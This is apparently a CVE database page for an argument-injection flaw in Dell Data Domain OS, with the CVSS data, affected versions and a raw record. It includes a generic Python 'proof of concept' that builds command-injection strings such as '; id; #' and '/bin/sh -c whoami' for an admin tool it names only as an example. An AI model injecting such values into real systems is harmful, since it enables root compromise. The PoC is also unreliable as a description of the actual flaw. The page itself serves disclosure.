Security Vulnerability Report
中文
CVE-2025-36565 CVSS 6.7 MEDIUM

CVE-2025-36565

Published: 2025-10-07 20:15:34
Last Modified: 2025-10-14 20:08:15

Description

Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.1.0.10, LTS2024 release Versions 7.13.1.0 through 7.13.1.25, LTS 2023 release versions 7.10.1.0 through 7.10.1.50, contain an Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution. Exploitation may allow privilege escalation to root.

CVSS Details

CVSS Score
6.7
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:* - VULNERABLE
Dell PowerProtect Data Domain DD OS Feature Release 7.7.1.0 - 8.1.0.10
Dell PowerProtect Data Domain DD OS LTS2024 7.13.1.0 - 7.13.1.25
Dell PowerProtect Data Domain DD OS LTS 2023 7.10.1.0 - 7.10.1.50

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-36565 - Dell PowerProtect Data Domain Argument Injection PoC # This is a conceptual PoC demonstrating the argument injection vulnerability # in Dell PowerProtect Data Domain DD OS #!/usr/bin/env python3 """ Conceptual PoC for CVE-2025-36565 Vulnerability: Argument Injection in DD OS commands Requirement: Local access with high privileges (PR:H) Impact: Arbitrary command execution, privilege escalation to root """ import subprocess import os def exploit_argument_injection(target_command, user_input): """ Demonstrates how argument injection works when user input is not properly sanitized for command argument delimiters. In vulnerable DD OS versions, certain admin commands accept user-supplied arguments that are passed directly to system calls without proper neutralization of argument delimiters (spaces, etc.) """ # Vulnerable pattern: user input concatenated directly into command # Example: A DD OS utility might call system() with user input like: # system("ddadmin-tool --option " + user_input) # Malicious input can inject additional arguments or commands # by using argument delimiters (spaces, newlines, etc.) # Example malicious payload: malicious_payload = user_input + " --extra-flag '; id; #'" print(f"[*] Target command: {target_command}") print(f"[*] Malicious payload: {malicious_payload}") print(f"[*] In vulnerable DD OS, this would execute arbitrary commands") # Conceptual demonstration of the injection # In real exploitation on DD OS: # 1. Attacker has high-privilege local shell access # 2. Identifies a DD OS command that passes user input unsafely # 3. Injects argument delimiters to execute arbitrary commands # 4. Escalates privileges to root return malicious_payload # Example usage on vulnerable DD OS if __name__ == "__main__": # Simulate a vulnerable DD OS command # e.g., a DD OS management utility that takes user-supplied hostname/argument vulnerable_cmd = "/usr/bin/ddadmin-tool --query" # Attacker injects argument delimiters to execute arbitrary commands attacker_input = "legit_arg\n; /bin/sh -c 'whoami'" result = exploit_argument_injection(vulnerable_cmd, attacker_input) print(f"\n[+] Exploit payload constructed: {result}") print("[!] This payload would allow arbitrary command execution on vulnerable DD OS")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-36565", "sourceIdentifier": "[email protected]", "published": "2025-10-07T20:15:33.797", "lastModified": "2025-10-14T20:08:14.660", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Dell PowerProtect Data Domain with Data Domain Operating System (DD OS) of Feature Release versions 7.7.1.0 through 8.1.0.10, LTS2024 release Versions 7.13.1.0 through 7.13.1.25, LTS 2023 release versions 7.10.1.0 through 7.10.1.50, contain an Improper Neutralization of Argument Delimiters in a Command ('Argument Injection') vulnerability. A high privileged attacker with local access could potentially exploit this vulnerability, leading to arbitrary command execution. Exploitation may allow privilege escalation to root."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-88"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.7.1.0", "versionEndExcluding": "7.10.1.60", "matchCriteriaId": "F2389C08-162A-4D43-B1EA-D93D7DB51781"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.13.1.0", "versionEndExcluding": "7.13.1.30", "matchCriteriaId": "5E7EC11C-C065-48D9-A036-5A17653D44EA"}, {"vulnerable": true, "criteria": "cpe:2.3:o:dell:data_domain_operating_system:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.0.0.0", "versionEndExcluding": "8.3.0.10", "matchCriteriaId": "FD518568-542A-420D-B0E6-6F35E127E5CE"}]}]}], "references": [{"url": "https://www.dell.com/support/kbdoc/en-us/000348708/dsa-2025-159-security-update-for-dell-powerprotect-data-domain-multiple-vulnerabilities", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}